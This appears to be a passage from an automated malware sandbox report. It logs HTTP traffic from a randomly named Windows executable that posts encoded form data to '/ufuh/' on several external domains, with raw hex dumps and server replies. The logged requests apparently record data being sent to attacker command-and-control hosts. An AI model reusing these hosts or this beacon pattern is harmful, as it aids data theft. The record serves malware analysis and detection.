May 2, 2024 08:27:49.586066961 CEST	1289	IN	Data Raw: 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 20 61 6e 64 20 28 72 65 73 6f 6c 75 74 69 6f 6e 3a 20 33 32 36 64 70 69 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 6c 6f 6f 70 69 61 Data Ascii: le-touch-icon" media="screen and (resolution: 326dpi)" href="https://static.loopia.se/responsive/images/iOS-114.png" /> <meta name="viewport" content="initial-scale=1.0, maximum-scale = 1.0, width=device-width" /> <link rel="stylesheet
May 2, 2024 08:27:49.586081982 CEST	1289	IN	Data Raw: 20 74 6f 20 76 69 65 77 20 74 68 65 20 64 6f 6d 61 69 6e 20 68 6f 6c 64 65 72 27 73 20 70 75 62 6c 69 63 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 70 3e 0a 09 09 09 3c 70 3e 41 72 65 20 79 6f 75 20 74 68 65 20 6f 77 6e 65 72 20 6f 66 20 74 68 Data Ascii: to view the domain holder's public information.</p><p>Are you the owner of the domain and want to get started? Login to <a href="https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_con
May 2, 2024 08:27:49.586095095 CEST	1289	IN	Data Raw: 6c 20 63 6f 6e 74 72 6f 6c 20 6f 66 20 79 6f 75 72 20 64 6f 6d 61 69 6e 73 20 77 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 3c 2f 68 33 3e 0a 09 09 09 3c 70 3e 57 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 2c 20 79 6f 75 20 77 69 6c 6c 20 62 65 20 61 62 Data Ascii: l control of your domains with LoopiaDNS</h3><p>With LoopiaDNS, you will be able to manage your domains in one single place in Loopia Customer zone. <a href="https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingwe
May 2, 2024 08:27:49.586102009 CEST	661	IN	Data Raw: 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 68 6f 73 74 69 6e 67 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 4f 75 72 Data Ascii: arkingweb&utm_campaign=parkingweb&utm_content=hosting" class="btn btn-primary">Our web hosting packages</a></div>... /END .main --><div id="footer" class="center"><span id="footer_se" class='lang_se'><a href="https://www.loop
May 2, 2024 08:27:49.586116076 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49173	194.9.94.86	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:27:51.914592028 CEST	473	OUT	GET /ufuh/?pl=JCl8GzBEdF4l5nIyfkeq0ia6oie6u6lAQeoh+x3kN0jP8DE3DVbhST9RD9xIYa+bXtx9nrjGgO+XENgp6DrguLhYbN7qtNMSCWk+pZJhu575eHJRgqTZAIE4NheL&5h1t=6H6PKFvXjtI4u8k HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.xn--matfrmn-jxa4m.se User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
May 2, 2024 08:27:52.101787090 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 02 May 2024 06:27:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.24 Data Raw: 31 35 66 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a [TRUNCATED] Data Ascii: 15f9<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-NP3MFSK');</script>... End Google Tag Manager --> <meta http-equiv="X-UA-Compatible" content="IE=EDGE" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="loopia-test" content="XsdXAIxha8q9Xjamck4H" /><title>Parked at Loopia</title> <link rel="apple-touch-icon" media="screen and (resolution: 163dpi)" href="https://static.loopia.se/responsive/images/iOS-57.png" /> <link rel="apple-touch-icon" media="screen and (resolution [TRUNCATED]
May 2, 2024 08:27:52.101840019 CEST	1289	IN	Data Raw: 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 20 61 6e 64 20 28 72 65 73 6f 6c 75 74 69 6f 6e 3a 20 33 32 36 64 70 69 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 6c 6f 6f 70 69 61 Data Ascii: le-touch-icon" media="screen and (resolution: 326dpi)" href="https://static.loopia.se/responsive/images/iOS-114.png" /> <meta name="viewport" content="initial-scale=1.0, maximum-scale = 1.0, width=device-width" /> <link rel="stylesheet
May 2, 2024 08:27:52.101897001 CEST	1289	IN	Data Raw: 20 74 6f 20 76 69 65 77 20 74 68 65 20 64 6f 6d 61 69 6e 20 68 6f 6c 64 65 72 27 73 20 70 75 62 6c 69 63 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 70 3e 0a 09 09 09 3c 70 3e 41 72 65 20 79 6f 75 20 74 68 65 20 6f 77 6e 65 72 20 6f 66 20 74 68 Data Ascii: to view the domain holder's public information.</p><p>Are you the owner of the domain and want to get started? Login to <a href="https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_con
May 2, 2024 08:27:52.102003098 CEST	1289	IN	Data Raw: 6c 20 63 6f 6e 74 72 6f 6c 20 6f 66 20 79 6f 75 72 20 64 6f 6d 61 69 6e 73 20 77 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 3c 2f 68 33 3e 0a 09 09 09 3c 70 3e 57 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 2c 20 79 6f 75 20 77 69 6c 6c 20 62 65 20 61 62 Data Ascii: l control of your domains with LoopiaDNS</h3><p>With LoopiaDNS, you will be able to manage your domains in one single place in Loopia Customer zone. <a href="https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingwe
May 2, 2024 08:27:52.102054119 CEST	661	IN	Data Raw: 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 68 6f 73 74 69 6e 67 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 4f 75 72 Data Ascii: arkingweb&utm_campaign=parkingweb&utm_content=hosting" class="btn btn-primary">Our web hosting packages</a></div>... /END .main --><div id="footer" class="center"><span id="footer_se" class='lang_se'><a href="https://www.loop
May 2, 2024 08:27:52.102118969 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.22	49174	91.195.240.19	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:27:57.406066895 CEST	2578	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 2159 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.primeplay88.org Origin: http://www.primeplay88.org Referer: http://www.primeplay88.org/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 6a 44 58 71 4f 62 6b 69 45 6a 42 59 51 32 6a 70 48 61 45 46 55 52 6f 69 39 38 37 5a 78 7a 6b 4b 6d 54 4b 46 59 53 55 45 50 75 39 67 4f 62 53 4d 73 31 33 4f 49 6d 71 64 48 50 70 76 30 6c 5a 70 41 43 69 43 58 51 41 67 47 63 50 57 47 61 43 32 4e 50 6b 77 71 31 31 54 44 33 62 31 31 52 45 58 30 2b 35 78 4f 76 54 47 54 55 72 76 51 45 4e 4c 43 64 48 47 2f 32 59 48 36 72 35 6a 4d 4b 76 45 69 4e 54 42 30 56 68 7a 44 33 66 49 6e 78 54 39 6b 35 71 2b 41 51 45 46 65 51 79 4a 61 36 66 6c 49 53 69 30 63 55 41 61 54 4f 61 70 31 4c 52 6c 72 53 45 79 35 41 52 41 37 2f 56 77 76 46 43 77 65 70 54 34 75 6b 56 45 52 44 65 56 33 44 2f 37 48 62 4e 57 50 57 44 41 4e 6f 75 52 31 74 71 51 43 75 31 77 61 6b 43 37 48 79 6d 53 38 2b 71 77 30 77 32 76 2b 72 31 48 71 52 47 79 4b 7a 59 35 73 65 79 42 78 38 66 48 4f 43 61 2f 4a 76 72 68 6f 59 4c 78 41 64 64 6a 6c 6a 73 42 38 57 4d 4f 77 73 69 38 77 43 39 51 7a 32 77 51 41 56 70 63 32 2f 48 2b 41 78 6b 64 78 4b 7a 6e 74 4c 52 35 42 6a 6d 69 48 32 39 75 79 53 63 41 36 74 41 [TRUNCATED] Data Ascii: pl=jDXqObkiEjBYQ2jpHaEFURoi987ZxzkKmTKFYSUEPu9gObSMs13OImqdHPpv0lZpACiCXQAgGcPWGaC2NPkwq11TD3b11REX0+5xOvTGTUrvQENLCdHG/2YH6r5jMKvEiNTB0VhzD3fInxT9k5q+AQEFeQyJa6flISi0cUAaTOap1LRlrSEy5ARA7/VwvFCwepT4ukVERDeV3D/7HbNWPWDANouR1tqQCu1wakC7HymS8+qw0w2v+r1HqRGyKzY5seyBx8fHOCa/JvrhoYLxAddjljsB8WMOwsi8wC9Qz2wQAVpc2/H+AxkdxKzntLR5BjmiH29uyScA6tAoZ7F0PJ/nShC3U+4nlo2bdNGuBMZd0tZx0mOvZo8SJbfhBV8etSfKU/IdDh3fMCtwXW0a0HuEh8vB6blJo+GfWYbOvcLa2mhlHMKYi8OPnFam+DuGZEMM335WKXk4tAxf6iKeymUjRcIM0EKQYb/OZI1H1pHgbsehVlMLqDmUFCXnvR4bY9/CyisiBdc7SVgrDDIoZNbDfbEVmRysXEUORcsirHhJUjAp9NPHQES9TkX59rTLhycpBog1ptzRJQIBoO2wanDT1EPQ1SSOGPocnUIvaqZe5SB/mvZWfqpyY4GaAGQP9XJ+lSqJz3LBYm3LOd0pgDZrKUt9gKamC5zgVvZ3/TLKrnIMOFY5SUVkGXbo3qhg4DHkQjybTZzDUSh+3jmum2AiVmULcab/3SKRDkW2iVjPc1TBL3VUL0U2UhGYJbnNXkX8fqq0yx8cmEYdbhmv/FnTqs0cWqiVzIegvUrj95LweIDfMvq9ylqyIcv3rZBZBTP6oQfAO35zF/E1nVLOY8lEuhxk8rpZ8h79SF35oEHmI7uF/C790E7sej617kKTDqaJVzjAZ2b4k/uPlE+dwotYtpk//rSE7LK8Wbh2YBjh8mcEoZmF4RA9ro3VvA4KHF3cJFshVxGjRrTj2Y2Nh91N3ncFJ77am4Kqe6aqXtcJ4gvhM [TRUNCATED]
May 2, 2024 08:27:57.581255913 CEST	112	OUT	Data Raw: 73 43 5a 71 77 45 65 4c 37 63 65 6c 50 42 58 6d 64 6a 58 5a 54 6e 6a 75 70 38 34 73 7a 64 59 49 35 67 51 76 6e 37 6d 39 52 62 57 6a 53 4d 62 74 41 69 37 41 66 76 4c 5a 30 72 67 31 50 68 41 57 45 42 4a 77 4c 6e 74 41 66 64 54 39 65 43 66 64 33 35 Data Ascii: sCZqwEeL7celPBXmdjXZTnjup84szdYI5gQvn7m9RbWjSMbtAi7AfvLZ0rg1PhAWEBJwLntAfdT9eCfd35dDElASkZdFpUkVGl9Hi+8xj5w13606
May 2, 2024 08:27:57.581259966 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49175	91.195.240.19	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:28:00.253900051 CEST	729	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 199 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.primeplay88.org Origin: http://www.primeplay88.org Referer: http://www.primeplay88.org/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 6a 44 58 71 4f 62 6b 69 45 6a 42 59 51 78 2f 70 47 4c 45 46 53 78 6f 69 36 38 37 5a 2f 54 6b 45 6d 54 57 6e 59 57 4d 55 4f 66 31 67 50 4b 69 4d 74 48 76 4f 62 57 71 65 49 76 70 6a 72 31 59 74 41 43 69 34 58 51 38 67 47 63 62 57 47 35 71 32 50 4c 77 78 6d 6c 31 64 61 48 62 77 31 52 59 65 30 2b 31 68 4f 76 37 47 54 53 6a 76 52 45 64 4c 48 37 7a 47 74 32 59 42 38 72 35 34 4d 4c 54 64 69 4e 44 4a 30 52 68 7a 44 6d 7a 49 2b 42 7a 39 6a 71 43 2b 4b 77 45 45 55 77 7a 4e 65 35 47 6f 43 45 2b 30 51 47 55 46 4e 63 75 76 32 70 78 58 7a 7a 6f 34 7a 77 70 7a 6b 34 34 55 70 46 7a 39 4e 41 3d 3d Data Ascii: pl=jDXqObkiEjBYQx/pGLEFSxoi687Z/TkEmTWnYWMUOf1gPKiMtHvObWqeIvpjr1YtACi4XQ8gGcbWG5q2PLwxml1daHbw1RYe0+1hOv7GTSjvREdLH7zGt2YB8r54MLTdiNDJ0RhzDmzI+Bz9jqC+KwEEUwzNe5GoCE+0QGUFNcuv2pxXzzo4zwpzk44UpFz9NA==
May 2, 2024 08:28:00.429229975 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49176	91.195.240.19	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:28:02.949915886 CEST	2578	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 3623 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.primeplay88.org Origin: http://www.primeplay88.org Referer: http://www.primeplay88.org/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 6a 44 58 71 4f 62 6b 69 45 6a 42 59 52 56 37 70 45 6f 73 46 58 52 6f 6c 30 63 37 5a 78 7a 6b 66 6d 54 4b 6e 59 53 55 45 50 73 5a 67 4f 64 6d 4d 74 6c 33 4f 4c 6d 71 65 4b 76 70 76 30 6c 5a 6f 41 43 32 53 58 51 4d 61 47 65 33 57 47 59 36 32 4e 4e 4d 77 74 31 31 54 65 48 62 33 31 52 59 78 30 2b 6c 6c 4f 76 75 52 54 54 48 76 57 32 46 4c 50 72 7a 42 6f 32 59 42 38 72 35 43 4d 4c 54 39 69 4e 62 52 30 51 34 30 44 78 4c 49 37 52 54 39 69 4a 71 39 4d 77 45 41 61 51 79 39 61 36 6a 32 49 53 6a 39 63 55 45 38 54 4f 57 70 30 65 4e 6c 72 56 6f 78 6c 41 52 48 6d 50 56 77 67 6c 43 79 65 70 54 6b 75 6b 56 45 52 47 43 56 31 54 2f 37 48 61 4e 56 4c 57 44 41 4f 6f 75 6d 37 4e 6e 33 43 71 6c 65 61 6b 79 72 53 54 69 53 2f 38 79 77 6a 77 32 76 34 62 31 4e 71 52 47 72 46 54 5a 6f 73 65 62 79 78 38 50 74 4f 43 61 2f 4a 74 54 68 74 4f 66 78 4a 74 64 6a 6e 6a 73 36 79 47 4d 4e 77 73 6d 65 77 42 68 51 7a 30 51 51 41 6d 64 63 77 38 76 68 4f 68 6b 63 31 4b 7a 6c 37 37 52 73 42 6a 36 45 48 32 31 41 79 57 67 41 36 76 59 [TRUNCATED] Data Ascii: pl=jDXqObkiEjBYRV7pEosFXRol0c7ZxzkfmTKnYSUEPsZgOdmMtl3OLmqeKvpv0lZoAC2SXQMaGe3WGY62NNMwt11TeHb31RYx0+llOvuRTTHvW2FLPrzBo2YB8r5CMLT9iNbR0Q40DxLI7RT9iJq9MwEAaQy9a6j2ISj9cUE8TOWp0eNlrVoxlARHmPVwglCyepTkukVERGCV1T/7HaNVLWDAOoum7Nn3CqleakyrSTiS/8ywjw2v4b1NqRGrFTZosebyx8PtOCa/JtThtOfxJtdjnjs6yGMNwsmewBhQz0QQAmdcw8vhOhkc1Kzl77RsBj6EH21AyWgA6vYoJu50P5/kfBCzQ+0Clo+1dOqQBOdd04lx1lmsV48IcrfrXl84tSb0U/odDQ/fNCNwTlcZz3uP3MuDz7ldo+i9Wcf4vuDawGhlLOybjsOKtlbj0jvZZEMy31hGJiQ4tAtf70meymUkBMIK6RT1YbjKZIoA1vrgb8uhVkMLmDmUIiXe0B4dY9rSymxVU5M7T24rFBwoetbBMLEQrxz8XEEORcIMrDVJVHsp8vnHF0S5QkWn9rS6hyYtBowlpuHRJRIB8/2wAXDS5kPUxSS1GPgMnUlKauNerih/1+ZWcKpwa4GaJmQX9TdulT38zy/BYSzLeN02tjZ0MUtykKaKC5jgVvV3/TjKqUgML2A5QkVmbnbuiatp4D3SQi2LTf7DVDh+wgCtomAkDWUBYaao3SKNDgDthhvPchHBbjBTUkU1fBGPH7nHXknWfvqkyAgcmFodOCOv+1nTqs0fWqiRzICevRWI95LweZDfMcS95FqzXsvoh5AaBTLMoU6XO09zEqI1nVLJHslLnBxn8rlu8h6cSF75pyHmJomF/mb9iU7sJT62xEKSDqanVyvqZ1D4kOOPiCqe74tdkJkp2LXG7L2kWZt2YS3h9zwEvpmF2RA8jI3ErA1VHFr6JAx8AQWjTYrj67uOtt1QpndDJ7nhm4yUe7iQXsEJ4AvhO [TRUNCATED]
May 2, 2024 08:28:03.125252962 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
May 2, 2024 08:28:03.125319958 CEST	1576	OUT	Data Raw: 73 43 59 39 77 45 57 50 37 59 4f 31 50 41 50 6d 64 6c 4c 5a 54 58 6a 78 6b 63 34 71 30 64 59 53 35 67 64 4c 6e 37 75 66 52 59 2b 6a 53 4f 76 74 50 69 72 41 63 76 4c 5a 70 37 68 2f 48 42 42 56 4c 6b 52 78 4c 6e 55 41 50 73 72 4b 55 45 44 48 78 71 Data Ascii: sCY9wEWP7YO1PAPmdlLZTXjxkc4q0dYS5gdLn7ufRY+jSOvtPirAcvLZp7h/HBBVLkRxLnUAPsrKUEDHxq5fLGUo1vZwv0wgJnN7odEuhc8h3Oo1SwFQg28tvVdVcaHMFrjzV1j+az/XBqloyR1kTxl8H8wDElz7AjssQLF6KkG4dqVph872eCGUJOCAHtgZQeF3770DypzG586wAu1AD877p5kBN219ac203+lLxFjsBFzRtqF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49177	91.195.240.19	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:28:05.644785881 CEST	468	OUT	GET /ufuh/?pl=uB/KNrYRIAEuVxS2CaQ/STQ79sXR+BlQlR67HQQqBOVPNI2QjXmfUVSCEalfoT0oEVOLH05GPMXaAce1CehAlwJBdX/jzmgGgvdHGe2cEEX0VUceLY//9BYN6rMd&5h1t=6H6PKFvXjtI4u8k HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.primeplay88.org User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
May 2, 2024 08:28:05.819519043 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49178	198.12.241.35	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:28:11.079615116 CEST	2578	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 2159 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.aceautocorp.com Origin: http://www.aceautocorp.com Referer: http://www.aceautocorp.com/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 6d 43 38 6c 66 71 4d 48 33 4b 39 4f 68 76 33 61 36 74 2f 57 76 35 74 71 47 64 46 76 61 35 50 43 4e 45 69 66 78 74 79 41 6f 30 50 36 78 6f 43 72 67 2b 44 4f 6d 6b 74 4d 50 66 58 67 63 61 5a 5a 6c 4f 52 79 4f 35 31 4d 76 65 39 32 2b 34 35 57 37 6f 6e 4a 6b 67 75 51 48 6f 44 5a 64 51 6e 79 47 4a 68 34 57 56 63 63 76 50 4f 73 30 31 49 68 61 37 43 6e 5a 53 4a 39 5a 56 5a 69 65 6d 46 30 70 63 6b 68 43 43 39 43 41 70 58 63 72 73 46 47 4b 59 2b 79 72 50 47 4d 61 51 61 43 4e 4e 31 42 6a 4d 72 2b 62 6c 31 4b 31 38 36 6c 59 2f 4f 45 62 2b 64 55 66 42 37 46 2f 4f 75 66 53 4b 54 6f 4b 6f 56 47 46 32 54 63 59 55 4b 43 38 2b 6f 76 53 6d 47 70 38 32 4f 31 55 6f 2b 63 4f 42 54 39 6e 45 46 69 64 52 50 69 35 46 37 51 6c 31 79 38 49 73 61 6a 65 48 7a 61 2f 35 58 48 39 36 48 77 65 70 65 30 4c 39 57 35 65 2f 64 54 31 7a 48 36 5a 5a 4f 48 31 48 2f 45 65 5a 7a 6b 45 70 47 6b 62 35 78 35 56 79 7a 4e 56 47 67 37 72 47 30 32 63 35 76 38 43 36 39 52 43 6b 37 57 52 77 71 56 77 77 42 45 39 75 2f 51 61 2b 55 65 44 6c 72 [TRUNCATED] Data Ascii: pl=mC8lfqMH3K9Ohv3a6t/Wv5tqGdFva5PCNEifxtyAo0P6xoCrg+DOmktMPfXgcaZZlORyO51Mve92+45W7onJkguQHoDZdQnyGJh4WVccvPOs01Iha7CnZSJ9ZVZiemF0pckhCC9CApXcrsFGKY+yrPGMaQaCNN1BjMr+bl1K186lY/OEb+dUfB7F/OufSKToKoVGF2TcYUKC8+ovSmGp82O1Uo+cOBT9nEFidRPi5F7Ql1y8IsajeHza/5XH96Hwepe0L9W5e/dT1zH6ZZOH1H/EeZzkEpGkb5x5VyzNVGg7rG02c5v8C69RCk7WRwqVwwBE9u/Qa+UeDlrB3UEnvBmTAGcdR7IdoTHMvvJy+fzdR7U7Pm08uxlXYVbSUIFidczDQLTLu3dsB0lBubzz9/EHluNWXv8spFIK1r0ed0j5MODYqK30yn5BcplTkeSmAVxuWUlfpXcnZaG1OCQZn1ZzQN8MRQ1fGgc0LmqybdS21XZ3jGHIOFKrEc/uSSyIAbPwKJBMA/SxhDuBH9yh5Pn7SFov9k8r2IXfrsP6WMNWC9UqrZRxNaHLPJVdLrMyEtxC3BIvsSO3UhbmxEfW7SSccNqDUEEFaySK35TjFktSBGC7dD31bIQ4UWvlRF3Nu+UIK8zBu7EvEKVAoFzFf6J+yuGM+mlWr7//2SWKdMwN8fZwVly79kb6kkjh2A